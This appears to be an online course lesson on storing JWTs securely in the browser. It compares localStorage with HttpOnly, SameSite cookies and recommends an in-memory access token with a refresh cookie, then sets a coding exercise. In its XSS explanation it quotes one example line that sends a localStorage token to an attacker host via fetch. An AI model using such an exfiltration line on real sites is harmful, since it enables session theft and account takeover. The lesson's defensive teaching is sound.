Skip to Content
Course content

167: Secure Storage of Tokens in the Browser

Click on the "Edit" button in the top corner of the screen to edit your slide content.

Is it actually okay to just put my JWT in localStorage?

I see this in a huge percentage of tutorials, and honestly, it's a bad habit. It's incredibly convenient because you just call localStorage.setItem('token', token) and it's there across page refreshes. But here is the problem: localStorage is accessible to any JavaScript running on your page.

Imagine you're using a third-party analytics library or a fancy markdown parser that has a known XSS (Cross-Site Scripting) vulnerability. An attacker could inject a small script that simply does fetch('https://attacker.com/steal?cookie=' + localStorage.getItem('token')). Just like that, your user's identity is gone, and the attacker has full access to their account until that token expires. I've seen this happen in production environments more often than I'd like to admit.

If I use cookies instead, aren't I just trading one problem for another?

You're thinking about CSRF (Cross-Site Request Forgery), and you're right to be concerned. If you store a token in a standard cookie, the browser sends it automatically with every request to your API. If a user clicks a malicious link on another site, that site can trigger a request to your server, and the browser will dutifully attach the cookie.

However, we have a "secret weapon" here: the HttpOnly flag. When your server sets the cookie, it should look something like this in the response header:

Set-Cookie: token=abc123xyz; HttpOnly; Secure; SameSite=Strict

The HttpOnly flag tells the browser: "Do not let any client-side JavaScript access this cookie." This completely kills the XSS attack I mentioned earlier; document.cookie will simply not show the token. Then, by using SameSite=Strict or Lax, you tell the browser not to send the cookie when the request originates from a different website, which effectively mitigates most CSRF attacks.

What is the "industry standard" way to handle this in a modern SPA?

If you're building a serious application, I usually recommend a hybrid approach. You don't want your short-lived Access Token sitting in a cookie forever, but you don't want it in localStorage either. Instead, use a Refresh Token and an Access Token.

  • Refresh Token: Stored in an HttpOnly, Secure cookie. It has a long lifespan (days or weeks) and is used only to get a new access token.
  • Access Token: Stored in memory (just a plain JavaScript variable). It has a very short lifespan (15 minutes).

When the user refreshes the page, the JavaScript variable is wiped. Your app then makes a call to a /refresh endpoint. The server checks the HttpOnly cookie, validates the refresh token, and sends back a new access token in the JSON response. Your JS saves that in memory, and you're good to go. This way, the "crown jewels" (the refresh token) are invisible to JS, and the access token is only exposed for a tiny window of time.

// A simplified version of the memory storage pattern
let accessToken = null;

async function refreshAccessToken() {
    // The browser automatically sends the HttpOnly refresh cookie here
    const response = await fetch('/api/refresh', { method: 'POST' });
    const data = await response.json();
    
    // We store the access token in a variable, NOT localStorage
    accessToken = data.accessToken; 
}



📋 Practical Task

Implement a Memory-Based Token Refresh Loop

You are tasked with upgrading a legacy authentication system. Currently, the app stores a JWT in localStorage, which the security team has flagged as a high risk. Your goal is to move the access token to memory and implement a refresh mechanism.

Requirements:

  1. Create a variable let _token = null; to hold the access token.
  2. Implement a function getAccessToken() that returns the current token.
  3. Implement an ensureAuthenticated() function that:
    • Checks if _token is null.
    • If it is null, it must call a mock API function fetchNewTokenFromServer() (provided below) to retrieve a new token.
    • Updates _token with the result and returns it.
  4. Write a test call that simulates a user refreshing the page (starting with a null token) and successfully retrieving a token for an API request.

Provided Mock API:

async function fetchNewTokenFromServer() {
    console.log("Requesting new token using HttpOnly cookie...");
    return new Promise(resolve => {
        setTimeout(() => resolve("eyJhbGciOiJIUzI1..."), 500);
    });
}
Rating
0 0

There are no comments for now.

to be the first to leave a comment.